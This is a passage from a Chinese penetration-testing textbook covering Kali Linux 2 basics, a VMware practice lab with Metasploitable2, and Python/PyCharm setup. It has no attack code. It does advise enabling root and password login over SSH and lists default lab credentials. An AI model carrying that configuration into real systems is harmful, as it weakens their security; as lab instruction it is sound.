
图2-16　Kali Linux 2中的菜单

这里展示的只是其中的一部分工具，而不是全部。如果希望看到所有应用程序，可以单击下拉菜单中的all选项，这时在屏幕上会显示出全部的应用程序，如图2-17所示。

图2-17　显示出全部程序

这时直接双击工具的图标就可以启动这个工具。另外，也可以使用终端命令来打开工具。

不过你可能很快会发现Kali Linux 2中并没有想象中的那么多工具，实际上Kali Linux 2并不只像直接从官网下载那么简单，还可以安装很多其他子工具集，例如：

□　kali-linux

□　kali-linux-all

□　kali-linux-forensic

□　kali-linux-full

□　kali-linux-gpu

□　kali-linux-nethunter

□　kali-linux-pwtools

□　kali-linux-rfid

□　kali-linux-sdr

□　kali-linux-top10

□　kali-linux-voip

□　kali-linux-web

□　kali-linux-wireless

这些工具集中分别包含了不同的工具，可以用在不同的渗透测试场景。例如kali-linux-full包含了常见的各种工具，而kali-linux-all则包含了所有的工具。如果你正在进行取证工作，不希望系统包含其他不必要的工具，可以选择使用kali-linux-forensic，同样如果只希望进行无线网络渗透，可以使用kali-linux-wireless。

可以在安装完系统之后再安装这些工具集。例如现在需要使用kali-linux-wireless里的工具时，就可以使用如下命令安装：

     kali@kali:~$ sudo apt-get update && apt-cache search kali-linux-wireless
     kali@kali:~$ sudo apt-get install kali-linux-wireless

2.3.1　文件系统

使用Linux操作系统时，最先遇到的问题就是用户权限，很多程序都要求只有root权限的用户才能运行。但是在很多情况下，更高的权限也意味着更大的风险。如果以root用户的身份操作失误，可能会对正在测试的系统造成破坏。所以在很多时候以非root用户的身份进行测试是一个更好的选择。

2020.1版本的Kali Linux 2中默认的用户不再是以前的root，而是kali，当这个用户在试图完成一些root权限的访问和操作时，需要使用sudo并验证密码的方式，sudo表示暂时切换到超级用户模式以执行超级用户权限，提示输入密码时该密码为当前用户的密码，而不是超级账户的密码。为了频繁执行某些只有超级用户才能执行的权限，而不用每次输入密码，可以使用命令“sudo -i”。

接下来了解Kali Linux 2的文件系统。

接触过Linux的读者肯定听说过这样一句话——在Linux中一切皆文件。这一点和Windows的差异十分明显，在Linux中，无论目标是一个文本，还是一个设备（例如网卡），都可以使用相同的界面完成操作。也就是说，在Windows中是文件的内容，它们在Linux中也是文件，而那些在Windows中不是文件的内容，例如进程、硬盘等，甚至管道、socket也是文件。总之，在Linux中一切都可以完成读、写、改操作。Linux的所有文件共同构成了文件系统，在了解Linux的文件系统前先来了解以下几个概念。

□　文件：一组在逻辑上具有完整意义的信息项的系列。

□　目录：相当于Windows下的文件夹，用来容纳相关文件。因为目录可以包含子目录，所以目录可以层层嵌套，形成文件路径。在Linux中，目录也是以一种特殊文件被对待的，所以用于文件的操作同样也可以用在目录上。

□　目录项：在一个文件路径中，路径中的每一部分都被称为目录项，如路径/etc/apache2/apache2.conf中，目录/、etc、apache2和文件apache2.con都是一个目录项。

Kali Linux 2的文件系统如图2-18所示。接下来对其中一些重要目录进行简单介绍。

图2-18　Kali Linux 2的文件系统

□　/boot：用来存储Linux操作系统的内核及在引导过程中使用的文件。

□　/dev：dev是设备（device）的英文缩写，在这个目录中包含了所有Linux操作系统中使用的外部设备。它实际上是一个访问这些外部设备的端口。我们可以非常方便地去访问这些外部设备，就和访问一个文件、一个目录没有任何区别。

□　/etc：配置文件存储的目录，例如人员的账号密码文件、各种服务的起始文件等。一般来说，这个目录下的各文件属性是可以让一般用户查阅的，但是只有root有修改权限。

□　/home：系统默认的用户home目录，新增用户账号时，用户的home目录都存储在此目录下，Kali Linux 2中kali用户的目录就在/home下。

□　/lib、/usr/lib、/usr/local/lib：系统使用函数库的目录，程序在执行过程中，调用一些额外参数时就需要函数库的协助。

□　/mnt：用于存储挂载储存设备的挂载目录，例如磁盘、光驱、网络文件系统等。

□　/media：挂载的媒体设备目录，一般外部设备挂载到这里，如cdrom等。例如插入一个U盘，一般会发现，Linux自动在这个目录下建立一个disk目录，然后把U盘挂载到这个disk目录上，通过访问这个disk来访问U盘。

□　/opt：用来安装附加软件包，是用户级的程序目录，可以理解为Windows操作系统中的D:/Software。

□　/proc：/proc文件系统是一种特殊的、由软件创建的文件系统，内核使用它向外界导出信息，/proc系统只存在内存当中，而不占用外存空间。

□　/root：系统管理员root的目录。

□　/sbin：放置系统管理员使用的可执行命令，如adduser、shutdown等。与/bin不同的是，这几个目录是给系统管理员root使用的命令，一般用户只能“查看”而不能设置和使用。

□　/tmp：一般用户或正在执行的程序临时存储文件的目录，任何人都可以访问，重要数据不可放置在此目录下。

□　/srv：服务启动之后需要访问的数据目录，如WWW服务需要访问的网页数据存储在/srv/www内。

□　/usr：应用程序存储目录，/usr/bin存储应用程序，/usr/share存储共享数据，/usr/lib存储不能直接运行的，却是许多程序运行所必需的一些函数库文件。

□　/var：放置系统执行过程中经常变化的文件，/usr是安装时会占用较大硬盘容量的目录，那么/var就是在系统运行后才会渐渐占用硬盘容量的目录。

□　/bin：可执行二进制文件的目录，如常用的命令有ls、tar、mv、cat等。

2.3.2　常用命令

长期使用Windows的用户往往习惯图形用户界面（Graphical User Interface），容易忽略命令行界面（Command-line Interface）的功能。甚至有人会觉得使用Windows就是按鼠标，使用Linux就是敲键盘，虽然这个理解有失偏颇，但是，在Linux中大量操作的确需要通过命令行界面完成。图形用户界面的易用性毋庸置疑，但是命令行界面也有其优势，尤其是在进行一些复杂操作的时候，如图2-19所示。

图2-19　在终端中打开的Bash Shell

而Kali Linux 2本身就是Linux系统，所以在使用时不可避免地要大量涉及命令行的操作。在学习命令之前，需要先了解3个名词：Shell、Bash和终端。

在Kali Linux 2中使用Shell来执行命令，Shell是一种应用程序，用户通过这种应用程序的界面访问操作系统内核的服务。Shell有很多种，在Kali Linux 2中使用的是Bash Shell，这也是目前比较流行的一种。而终端是用于与Shell交互的应用程序，是Shell和其中运行的其他命令行程序的交互界面。

首先使用Bash Shell执行一个输出“hello world”的命令，这里可以使用echo，它类似于Python编辑器中的print。

     kali@kali:~$ echo "hello world"
     hello world

接下来介绍一些常用的命令。首先是跟目录相关的一些命令。

pwd是print working directory的缩写，其功能是显示当前工作目录。

     kali@kali:~$ pwd
     /home/kali

如果需要切换目录，可以使用cd命令，cd是更改目录（change directory）的缩写，其功能为将活动目录更改为指定的路径。可以使用“cd+目标目录”的方式切换到目标目录，例如切换到目录var。

     kali@kali:~$ cd /var/
     kali@kali:/var$

如果要返回上一级目录，可以使用“cd..”，如果要返回到主目录，可以使用“cd”。

     kali@kali:/var$ cd
     kali@kali:~$

如果想要查看目录中的内容可以使用ls命令。例如查看目录/var里面的内容。

     kali@kali:~$ ls /var
     backups  cache  lib  local  lock  log  mail  msf.doc  opt  payload.dll  payload.exe
     run  spool
      tmp  www

ls命令后面还可以使用参数-a，表示列出文件夹中的所有隐藏文件，ls -l表示显示详细的文件列表。

mkdir是make directory的缩写，用于创建新的目录。

rmdir用于删除一个空目录，rm命令用于删除非空目录。

接着研究一些和文件相关的命令，主要是浏览、查找、复制和删除操作。这里大部分命令不再给出使用实例，在后面的应用中将会用到这些命令。

□　cat：用于显示文件内容，语法为“cat目录项”。

□　cp：复制文件或目录，语法为“cp源文件　目标文件”。

□　rm：移除文件或目录。

□　mv：移动文件与目录，语法为“mv源文件　目标文件”。

□　find：查找文件或者目录的操作，语法格式为“find[命令选项] [路径]　[表达式选项]”。例如查找/var目录下所有名称以.log结尾的文件就可以使用如下命令：

     kali@kali:~$ sudo find /var/ -name "*.log"

这里使用了一个非常重要的命令sudo，它表示以系统管理者的身份执行命令，也就是说，经由sudo执行的命令就好像是root亲自执行。

如果一次要执行多个命令，可以使用管道运算符“|”，将一个命令的输出作为输入发送到另一个命令的方法如下：

     command1 | command2

当命令将其输出发送到管道时，该输出的接收端是另一个命令。

最后介绍的是一些和网络相关的命令。在之前的Linux版本中，用户已经习惯使用ifconfig命令，但是，在2020.1版本的Kali Linux 2中删除了ifconfig命令。这是因为ifconfig是net-tools中被废弃的一个命令，已经许多年没有维护了。目前Kali Linux 2的2020.1版本中使用的iproute2套件里提供了许多功能更强的命令，ip命令是其中之一。

要查看设备的网络连接信息，可以使用“ip addr”，这只是ip命令的一个功能。图2-20给出了ip命令的参数格式。

图2-20　ip命令的参数格式

ip命令常用的方法如下。

□　ip addr show：显示网络信息。

□　ip route show：显示路由。

□　ip neigh show：显示arp表（相当于arp命令）。

2.3.3　对Kali Linux 2的网络进行配置

如果想要使用Kali Linux 2功能，就必须正确配置它的网络。查看一下当前主机的网络配置情况。具体的操作是，首先打开一个终端，如图2-21所示。

图2-21　打开一个终端

然后在打开的终端中输入命令“ip addr”（之前的版本为ipconfig）。这个命令可以用来查看网络的连接信息，显示的内容如图2-22所示。

由于使用的是VMware虚拟机中的nat网络模式，VMware已经自动为Kali Linux 2设置了IP地址、子网掩码和网关。如果使用的Kali Linux 2系统并不是安装在虚拟机中，就需要手动来设置这些网络参数。首先单击图2-23所示Linux右上方的网卡接口的图标。

图2-22　使用ip命令查看网络信息

由于Kali Linux 2的操作大部分和网络有关，所以提供了一个便捷网络设置菜单，如图2-24所示，这个菜单位于整个窗口的右上方。

图2-23　单击“网卡接口”图标

图2-24　Kali Linux 2中的网络设置菜单

这个菜单中常用的选项一共有3个，第1个Enable Networking用来确定是否连接网络，默认勾选上的情形表示启用连接；第2个Connection Information中可以查看当前连接的信息，如图2-25所示；第3个Edit Connections中可以编辑当前连接的信息。

单击Edit Connections选项后，可以打开一个包含当前连接的配置界面，例如当前计算机中使用的Wired connection1，单击图2-26中右下角的配置按钮，就可以打开设置窗口，如图2-26所示。

图2-25　在Connection Information中查看连接信息

图2-26　在Edit Connections中编辑当前连接的信息

这个配置窗口中共包含7个标签，这里需要设置的是IPv4 Settings，其中包含设置方法（Method）、IP地址、子网掩码、网关和DNS等选项，如图2-27所示。

图2-27　Wired connection 1的配置窗口

图2-28　设置方法（Method）的配置窗口

默认情况下设置方法（Method）的值为Automatic（DHCP），也就是自动获取IP相关值，这种情况一般需要一台DHCP服务器，在使用VMware虚拟机的情况下，如果网络连接模式为nat（2.3.4节会提到），那么VMware会作为DHCP服务器来提供IP相关值，无须设置。但是，如果手动设置，可以在Method中选择Manual，如图2-28所示。

例如为系统设置如下内容：

□　主机IP地址：192.168.1.120。

□　子网掩码：255.255.255.0。

□　默认网关：192.168.1.1。

□　DNS服务器：211.81.200.9。

设置过程如图2-29所示。

图2-29　手动设置IP

设置的效果如图2-30所示。

图2-30　手动设置IP的效果

2.3.4　在Kali Linux 2中安装第三方应用程序

虽然Kali Linux 2中已经预装很多应用程序，但有时仍然需要安装一些应用程序以保证高效进行渗透测试。在Kali Linux 2中安装第三方应用程序还是比较简单的。

这里可以使用apt-get命令来实现管理软件。这个命令主要用于从互联网的软件仓库中搜索、安装、升级、卸载软件或操作系统。可以使用命令apt-get install命令在Kali Linux 2中安装软件。例如现在要安装apt-file软件（apt-file是一个命令行界面的APT包搜索工具）。当编译源代码时，时常发生缺少文件的情况。此时，通过apt-file就可以找出该缺失文件所在的包，然后安装缺失的包后即可顺利编译。安装命令如下：

     kali@kali:~$ sudo apt-get install apt-file
     [sudo] password for kali:

输入密码后，就可以开始安装了。完成之后，即可以执行软件，如图2-31所示。

图2-31　执行apt-file

2.3.5　对Kali Linux 2网络进行SSH远程控制

有时候可能需要远程控制Kali Linux 2系统（尤其是使用树莓派的时候）。在默认情况下，Kali Linux 2系统并没有开启SSH服务。如果希望远程使用SSH服务连接到Kali Linux 2，首先需要在Kali Linux 2中对/etc/ssh/sshd_config进行如下设置。该设置过程可以通过Vim实现。

Vim是从vi发展出来的一个文本编辑器。基本上vi/vim共分为3种模式，分别是命令模式（Command mode）、输入模式（Insert mode）和底线命令模式（Last line mode）。

用户启动vi/vim后便进入命令模式。

此状态下敲击键盘动作会被Vim识别为命令，而非输入字符。例如此时按下I键，并不会输入一个字符，i被当作了一个命令。常用的命令如下：

□　i表示切换到输入模式，以输入字符。

□　x表示删除当前光标所在处的字符。

□　:表示切换到底线命令模式，以便在最低一行输入命令。

编辑文本的步骤是：启动Vim，进入命令模式，按下I键，切换到输入模式。在输入模式中可以使用以下按键：

□　字符按键以及Shift组合，用于输入字符。

□　Enter（回车键），用于换行。

□　Backspace（退格键），删除光标前一个字符。

□　Del（删除键），删除光标后一个字符。

□　方向键，在文本中移动光标。

□　Home/End，移动光标到行首／行尾。

□　Page Up/Page Down，上／下翻页。

□　Insert，切换光标为输入／替换模式，光标将变成竖线／下画线。

□　Esc，退出输入模式，切换到命令模式。

在命令模式下输入英文冒号（:）将进入底线命令模式。在底线命令模式中可以输入单个或多个字符的命令，可用的命令非常多。在底线命令模式中，基本的命令有：

□　q，退出程序。

□　w，保存文件。

按Esc键可随时退出底线命令模式。

接下来首先执行“sudo vim /etc/ssh/sshd_config”命令以打开sshd_config文件，这里需要将#PasswordAuthentication yes和#PermitRootLogin prohibit-password前的注释符（#）去掉。启动vim后按下I键，切换到输入模式，如图2-32所示。

删掉两个#之后，依次按Esc键和冒号键，然后输入w和q保存再退出。接下来在终端中启动SSH服务，使用的命令如下：

     kali@kali:~$ sudo /etc/init.d/ssh start
     [sudo] password for kali:
     Starting ssh (via systemctl): ssh.service.

图2-32　在vim中修改sshd_config

如果想查看SSH服务运行状态，可以使用以下命令。

     kali@kali:~#netstat -antp

此时SSH服务为暂时启动，下次开机就会失效，如果要设置为开机启动，可以使用如下命令。

     kali@kali:~$ sudo update-rc.d ssh enable

现在另外一台计算机上使用SSH服务来远程控制Kali Linux 2，这里使用PuTTY完成远程登录，PuTTY的工作界面如图2-33所示。

图2-33　PuTTY的工作界面

PuTTY的使用方式很简单，只需要输入目标的IP地址和要使用的端口（默认为22）即可。第一次使用SSH连接时，会弹出一个如图2-34所示的窗口，询问是否保存会话密钥，这里选择“是”按钮。

接下来输入登录的用户名，虚拟环境中为kali，树莓派中为root，如图2-35所示。

图2-34　是否保存会话密钥

图2-35　输入登录用户名

接下来输入登录密码，虚拟环境中为kali，树莓派中为toor，如图2-36所示。

图2-36　输入登录密码

用户名和密码验证正确后就可以远程使用Kali Linux 2了，如图2-37所示，此时可以使用命令完成所有的操作。

图2-37　通过SSH控制Kali Linux 2

2.3.6　Kali Linux 2的更新操作

有时需要对Kali Linux 2系统进行升级操作。一种方法是使用APT。APT中最为常用的几个升级命令如下。

□　apt-get update：这个命令用于同步/etc/apt/sources.list中列出的源的索引，这样才能获取最新的软件包。

□　apt-get upgrade：用来安装etc/apt/sources.list中所列出来的所有包的最新版本。Kali Linux 2中所有软件都会被更新。这个命令并不会改变或删除那些没有更新操作的软件，但是也不会安装当前系统不存在的软件。

□　apt-get dist-upgrade：这个命令会将软件包升级到最新版本，并安装新引入的依赖包。除了提供apt-get upgrade的全部功能外，并智能处理新版本的依赖关系问题。

只需要执行如下命令就可以完成对系统的更新。

     root@kali:~#apt-get update
     root@kali:~#apt-get upgrade

但是，整个更新过程十分漫长，非必要的情况下尽量不要进行这个操作。

2.4　VMware的高级操作

在进行渗透测试学习时，很多技术不能直接应用在真实世界中，因为这些技术的破坏性可能会带来法律上的问题。如果拥有一个属于自己的网络安全渗透实验室，将会是一个非常理想的选择。将现实中的网络在实验室中模拟出来，这样就可以更好地研究各种渗透测试的方法，而不必担心由此引发的后果。

不过假想一下，即使是模拟一个只有5台计算机的网络，也需要占用不小的空间，而且对这些设备进行调试十分麻烦。不过好在除了使用真实设备之外，还有一个选择，那就是使用虚拟机。使用VMware虚拟机软件就可以在一台计算机上模拟出多台完全不同的计算机。这样只需要一台计算机就可以建立一个网络安全渗透实验室。当然，这台计算机的硬件配置越高越好，其中影响最大的硬件就是内存条，最好使用8 GB以上的内存条。

2.2节的Kali Linux 2安装中已经提到了VMware的使用方法，这里不再赘述。接下来了解下如何使用VMware来建立一个网络安全渗透实验室。

2.4.1　在VMware中安装其他操作系统

1．安装Metasploitable2

Metasploitable2是一个专门用来进行渗透测试的靶机。这个靶机上存在着大量的漏洞，这些漏洞是学习Kali Linux 2时最好的练习对象。这个靶机的安装文件是一个VMware虚拟机镜像，下载这个镜像后即可使用。使用步骤如下：

步骤1：从网址https://sourceforge.net/projects/metasploitable/files/Metasploitable2/下载Metasploitable2镜像的压缩包，并将其保存到计算机中。

步骤2：下载完成后，解压缩下载的metasploitable-Linux-2.0.0.zip文件。

步骤3：启动VMWare，在菜单栏上单击“文件”|“打开”，然后在弹出的文件选择框中选中刚解压缩文件夹中的Metasploitable.vmx。

步骤4：此时Metasploitable2出现在左侧的虚拟系统列表中，单击就可以打开这个系统。

步骤5：不需要更改虚拟机的设置，但是需要注意的是，网络连接处要选择NAT模式，如图2-38所示。

图2-38　Metasploitable2的网络连接方式

步骤6：现在可以正常使用Metasploitable2。在系统名称上右击，在弹出菜单中依次选择“电源”/“启动客户机”，可以打开这个虚拟机。系统可能会弹出一个菜单，选择I copied it按钮即可。

步骤7：以用户名和密码均为msfadmin登录这个系统。

步骤8：成功登录以后，VMware已经为这个系统分配了IP地址。现在就可以使用这个系统了。

2．安装Windows 7虚拟机

平时进行渗透测试的目标以Windows为主，所以这里还应该搭建一个Windows操作系统靶机。如果有一个Windows 7的安装盘，就可以在虚拟机中安装这个系统。具体安装方法相类似，这里不再赘述。

2.4.2　VMware中的网络连接

可以按照自己的想法在VMware中建立任意的网络拓扑。2.4.1节中已经提到过NAT的概念，实际上VMware中使用了一个名为VMnet的概念。在VMware中每一个VMnet相当于一个交换机，连接到同一个VMnet下的设备将处于同一个子网，可以在菜单栏中单击“编辑”|“虚拟网络编辑器”来查看VMnet的设置，如图2-39所示。

图2-39　VMware中的虚拟网络编辑器

“虚拟网络编辑器”对话框中只有VMnet0、VMnet1、VMnet8 3个子网，当然还可以添加更多的网络，这3个子网对应VMware虚拟机软件中提供的3种设备互联方式，分别是桥接、仅主机模式、NAT。这些连接方式与VMvare中的虚拟网卡是相互对应的。下面分别介绍这3个子网。

□　VMnet0：用于桥接网络下的虚拟交换机。

□　VMnet1：用于仅主机模式网络下的虚拟交换机。

□　VMnet8：用于NAT网络下的虚拟交换机。

另外，安装完VMware软件后，系统中就会多出两块虚拟网卡，分别是VMware Network Adapter VMnet1和VMware Network Adapter VMnet8，如图2-40所示。

图2-40　多出两块虚拟网卡

VMware Network Adapter VMnet1：主机用于与仅主机模式网络进行通信的虚拟网卡。

VMware Network Adapter VMnet8：主机用于与NAT网络进行通信的虚拟网卡。

接下来介绍这3种连接方式的不同之处。

1．NAT网络

这是VMware中最常用的一种联网模式，这种连接方式使用的是VMnet8虚拟交换机。同处于NAT网络模式下的系统通过VMnet8交换机进行通信。NAT网络模式下的IP地址、子网掩码、网关和DNS服务器都是通过DHCP分配的。而该模式下的系统在与外部通信的时候使用的是虚拟的NAT服务器。

2．桥接网络

这种模式很容易理解，凡是选择使用桥接网络的系统好像是局域网中的一台独立主机，就是和真实的计算机一模一样的主机，并且它也连接到真实的网络。因此，如果这个系统联网，就需要将系统和真实主机采用相同的配置。

3．仅主机模式网络

这种模式和NAT网络差不多，同处于这种联网模式的主机是相互联通的，但默认不会连接到外部网络，这样在进行网络实验（尤其是蠕虫病毒）时不用担心病毒传播到外部网络。

本书中所使用的虚拟机都采用了NAT网络联网方式，这样既可以保证虚拟系统的互联，又能保证这些系统连接到外部网络。

2.4.3　VMware中的快照与克隆功能

1．VMware的快照功能

在进行渗透测试的时候，经常会引起系统崩溃。如果系统崩溃一次，都要进行系统重装，那么工作量也是相当大的。VMware中提供系统快照的功能，这个系统快照类似于平时所使用的“系统备份”功能，这个功能可以将系统当前状态记录下来，如果需要，可以随时恢复到系统快照时的状态。通常在对Kali Linux 2进行升级之前，或者对目标系统进行渗透之前都会对系统进行快照。如果升级失败或者渗透导致系统不能正常使用时可以恢复系统快照。

创建系统快照的操作很简单，步骤如下。

（1）启动虚拟机，在菜单中单击“虚拟机”，然后在弹出的下拉菜单中选择“快照”选项，然后单击“拍摄快照”命令。

（2）在“拍摄快照”窗口中填入快照的名字和注释，单击“拍摄快照”按钮。

如果需要将当前的虚拟机恢复到系统快照时的状态，同样要在菜单中单击“虚拟机”|“快照”命令，在弹出菜单中选择要恢复的快照名称即可。

2．VMware的克隆功能

当需要模拟一个拥有3台安装Windows 7操作系统的主机的网络时，无须一个个地安装虚拟机，只需要在创建一个虚拟机之后，执行两次克隆操作即可。

克隆是一种和系统快照类似的操作，但是两者又有明显的区别。系统快照和克隆都是对操作系统某一时刻的状态进行的备份。但是系统快照不能独立运行，必须依赖原有系统才能运行。而克隆可以脱离原来的系统运行，一旦克隆完成，克隆系统与原来的虚拟机是相对独立的，可以看作两个互不相干的系统。而且VMware在克隆的时候，会给新系统一个MAC地址。这样原来的系统和克隆的系统就可以处于同一个网络而不会发生冲突。创建系统的方法如下。

（1）启动虚拟机，在菜单中单击“虚拟机”，然后在弹出的下拉菜单中选择“管理”选项，然后单击“克隆”命令。

（2）在虚拟机克隆向导中，系统会要求选择一个克隆源，这个克隆源可以是虚拟机的当前状态，也可以是某一快照的状态，根据实际需求做出选择即可。

（3）克隆方式有两个选项：创建链接克隆和创建完整克隆。链接克隆产生的文件占用硬盘空间小，但是在必须访问原始虚拟机时才能使用；完整克隆则完全独立，可以在任何地方使用，但是占用的硬盘空间较大。通常在一台计算机上做实验时建议选择链接克隆方式。

（4）选择保存克隆文件的地址，然后按照提示完成即可。

操作结束之后，在虚拟机左侧的操作系统列表处就会出现一个新的克隆操作系统。

3．VMware导出虚拟机

如果希望将自己所使用的虚拟机镜像转移到其他计算机上，或者提供给其他人使用（就像Kali官方提供的镜像那样），也可以选择将虚拟机导出成一个文件，这个文件移动到其他任何一个装有VMware的计算机上都可以运行。

操作的方法是，首先在左侧操作系统列表中选中目标系统，注意此时的系统应该处于关闭状态，然后选择菜单栏上的“文件”|“导出为OVF”命令，在弹出的文件对话框中选中要保存的位置即可。生成的OVF文件就可以在其他装有VMware的计算机中运行了。

2.5　小结

本章首先详细讲解了Kali Linux 2的安装和使用方法。Kali Linux 2提供了多种安装方法，可以将其安装在虚拟机中，也可以将其安装在树莓派上。

接下来介绍Kali Linux 2的一些基础操作，包括安装第三方软件，更改程序菜单，对系统进行升级，为系统配置网络等。

最后介绍了建立网络安全渗透实验室的关键软件——VMware的安装和使用方法，详细讲解了VMware中网络模式的配置、靶机的安装、系统快照和克隆等操作。

第3章　Python语言基础部分

在开始网络安全渗透工作之前，作者曾有很长一段时间的编程经历。在这些时间里，作者接触了大量的编程语言，见证了很多语言的兴起，也见证了很多语言的由盛而衰。

一般来说，一个国内高校计算机专业（软件专业）的学生在毕业前至少会学习4门编程语言。非计算机专业的理工科学生也会学习一门编程语言。长期以来，大家都习惯于把C语言作为编程的基础，当然C语言的强大是毋庸置疑的，但是C语言本身是一门相当复杂的语言，如果没有长时间的学习和练习，极少有人能真正地掌握这门语言。也可以这样说，很多人都是怀着一腔热血开始学习编程，但是却倒在了C语言这座高山的前面。

对大多数人来说，其实需要一门简单易学，最好是和自然语言接近的语言。那么哪种语言更合适呢？这个问题可能会有很多种答案。

在作者刚开始接触网络安全渗透时，经常要访问国外的黑客论坛，那时作者惊讶地发现国外的黑客基本上都在使用Python这门语言。之后作者也很快感受到Python的魅力，原本动辄上百行代码才能实现的功能，使用Python仅十几行就可以完成。这样最大的好处就是可以将大部分精力放在程序思路的设计上，而不是实现的细节上。

在本章中将就以下几点展开学习。

□　Python语言的基础。

□　在Kali Linux 2系统上安装Python编程环境。

□　Python语言中的常见数据类型。

□　Python语言中的基本结构。

□　Python语言中的常用函数。

3.1　Python语言基础

在2017—2019年IEEE发布的编程语言排行榜上，Python连续3年位居榜首。Python语言其实已经不年轻了，1989年它诞生于阿姆斯特丹。python的本意是大蟒蛇。不过前些年国内的用户并不多，使用者大都是外国人。这个原因也与编程语言的分类有些关系，在很长一段时间里，国内很多人都推崇编译型编程语言，而不重视解释型编程语言，而Python恰好是一门解释型编程语言。但是，近年来Python语言在国内的地位日益重要起来，这是因为Python的优势十分明显，语法简单，功能强大。相比起学习周期长的编程语言来说，很多人在经过几周的Python训练后，就可以编写出功能强大的工具。

有些人把Python看作一门胶水语言，这是因为它可以将各种强大的模块（可以是其他语言编写的）组合在一起，这一点为程序开发人员节省了大量的时间和精力，就如同站在巨人的肩膀上一样。

另外，Python本身也在不断改进中，每隔一段时间就会推出新的版本，在新的版本中会对常见的语法进行修改。编写本书时使用比较多的版本就是Python 2.7和Python 3.7，这是两个比较有代表性的版本。一般来说，编程语言在版本更新时都会向下兼容，也就是一个程序或者类模块更新到较新的版本后，用旧的版本程序创建的文档或系统仍能被正常操作或使用。但是在Python 3推出的时候，并没有考虑向下兼容Python 2，这也是为了避免带入过多的累赘，从而使得Python 3变成一个庞然大物。

在Python 3发布时，Python官方宣布停止支持Python 2，因此越来越多的人学习、使用和推荐Python 3，同时一大批Python项目宣布从2020年开始放弃对Python 2的支持，至此Python 2退出历史舞台。本书的所有程序都按照Python 3标准编写。

3.2　在Kali Linux 2系统中安装Python编程环境

Kali Linux 2中已经安装好Python 3运行环境。打开一个终端，输入“python 3”，就可以启动Python，如图3-1所示。

可以看到，当前所使用的Python版本号为3.7.6。但是在命令行中进行编程不是很方便，最好下载一个功能更为强大的Python开发工具。

图3-1　在命令行中启动Python 3

由于Python极为热门，因此这门语言相关的开发工具也数量众多，本书实例中Python代码的编写都采用了PyCharm。目前PyCharm提供了适用于3种不同操作系统的版本，由于之前选择Kali Linux作为操作系统，因此这里首先要在Download PyCharm下方选择Linux标签。和大部分软件一样，PyCharm提供收费的专业版（Professional）和免费的社区版（Community），专业版的功能丰富，但是价格比较昂贵；社区版少了一些功能，但是不需要支付任何费用。读者可以根据自己的实际情况选择下载的版本，PyCharm社区版可以满足本书中的所有实例。图3-2中给出了不同版本PyCharm的下载页面。

图3-2　PyCharm的下载页面

直接在Kali Linux 2中下载PyCharm，速度往往不太理想，因此可以在自己的操作系统中先下载PyCharm，然后通过拖放功能移动到Kali Linux中。本书中使用的版本为pycharm-community-2019.3.3。

在Kali Linux中选中PyCharm，右击，在弹出窗口中选择Extract To选项组，把文件解压到指定路径，这里选择Downloads。在Linux中，Downloads文件夹用来存储下载的文件，默认是空的。由于当前账户kali还没有开启root权限，这里并不能将其解压到任意目录，如图3-3所示。

然后进入pycharm目录的/bin目录，其中pycharm.sh就是启动脚本。打开一个终端，然后执行“路径+pycharm.sh”来启动PyCharm。

     kali@kali：~$/home/kali/Downloads/pycharm-community-2019.3.3/bin/pycharm.sh

图3-3　将PyCharm解压到Downloads

脚本执行的过程中会出现PyCharm的启动过程，一直按照提示操作即可。启动PyCharm时，系统会询问是创建新项目还是打开已有的项目，如图3-4所示。

图3-4　PyCharm的启动界面

为了方便以后再次启动PyCharm，可以将启动文件添加到/usr/bin中。具体命令如下：

     Kali@kali：~$sudo ln -s /home/kali/Downloads/pycharm-community-2019.3.3/bin/py
     charm.sh /usr/bin/pycharm

由于账户名kali没有root权限，所以这里再次输入密码kali才能添加成功。之后只需要在命令行中输入“pycharm”（推荐使用“sudo pyharm”命令，因为很多程序需要用到root权限）就可以直接启动。第一次启动PyCharm时，需要创建一个新项目（Project），这里将其命名为test。在创建新项目时还需要选择Python程序的解释器。这里PyCharm提供了两种Python解释环境，默认的是虚拟环境，解释器（Base interpreter）为Python 3.8。如果不需要使用虚拟环境，可以在下面的已有解释器（Existing interpreter）处选择本机已经安装的Python。这里使用默认的虚拟环境，单击Create按钮即可，如图3-5所示。

图3-5　PyCharm中提供的解释器

默认的虚拟环境解释器是Python 3.8（与Kali Linux中的真实环境不同），至此项目创建成功，如图3-6所示。

图3-6　PyCharm的工作界面

接下来在PyCharm中创建文件。在项目名称的位置右击，在弹出菜单中依次选择“New”|“Python File”命令，如图3-7所示。

图3-7　在PyCharm中创建文件

在Name处输入文件名称，然后按回车键即可，如图3-8所示。

图3-8　在PyCharm中命名文件

当建立好文件之后，如图3-9所示，可以看到这个编辑器大致分成项目区、文件区和可编辑区域等几个区域。项目区列出了整个项目的结构和库文件；文件区则显示了当前打开的文件；在可编辑区域中可以编写代码。

图3-9　PyCharm的区域划分

在可编辑区域可以输入Python代码。代码保存在test.py中。例如输入以下代码：

     print（"hello world!"）

然后在可编辑区域任意空白位置右击，在弹出菜单中选择Run 'test'命令，如图3-10所示。

图3-10　运行程序与输出结果

可编辑区域下方显示了Python代码的执行结果。

在编写程序时，也可以很方便地将需要的第三方库文件导入PyCharm中。首先单击菜单栏上的“File”|“Settings”命令，然后选择“Project: 项目名”下的“Project Interpreter”，如图3-11所示。

图3-11　导入第三方库文件

单击Settings界面右侧的“+”，弹出添加库文件界面，如图3-12所示。

图3-12　添加库文件界面

Python里的pip是官方自带的源，国内使用pip时安装过程十分缓慢，最好更换成国内的源地址。下面的地址是清华大学提供的安装源：

     https://pypi.tuna.tsinghua.edu.cn/simple

单击“Available Packages”下方的“Manage Repositories”就可以添加这个源，如图3-13所示。

图3-13　添加源

然后一直单击OK按钮即可，这样同一个库文件就有两个下载地址了，当再次打开Available Packages时，可以看到同一个库文件有两个下载地址，如图3-14所示。

这里以安装本书重点库文件Scapy为例进行介绍。可以在上方的搜索栏中输入scapy，然后选中清华大学提供的安装源的那条记录，如果需要选择版本，可以勾选右侧的Specify version，通常默认即可，最后单击下方的Install Package按钮，如图3-15所示。

图3-14　列出的库文件

图3-15　安装库文件

成功安装之后，会跳出一个Package 'scapy' installed successfully的提示。之后可以在Python程序中使用Scapy库文件。

3.3　编写第一个Python程序

图3-16　在Kali Linux 2中打开一个终端

除使用下载的编辑器以外，Python的工作环境中还提供了交互式编程模式，当输入命令按下回车键之后可以立刻看到效果。这种编程模式可以帮助读者更加清楚地了解Python的工作原理。因为本书介绍的程序主要应用于网络方面，在这一点上，Linux的性能要远远高于Windows，所以接下来介绍的所有程序，如无特殊说明，都是在Kali Linux 2系统的编程环境中实现的。

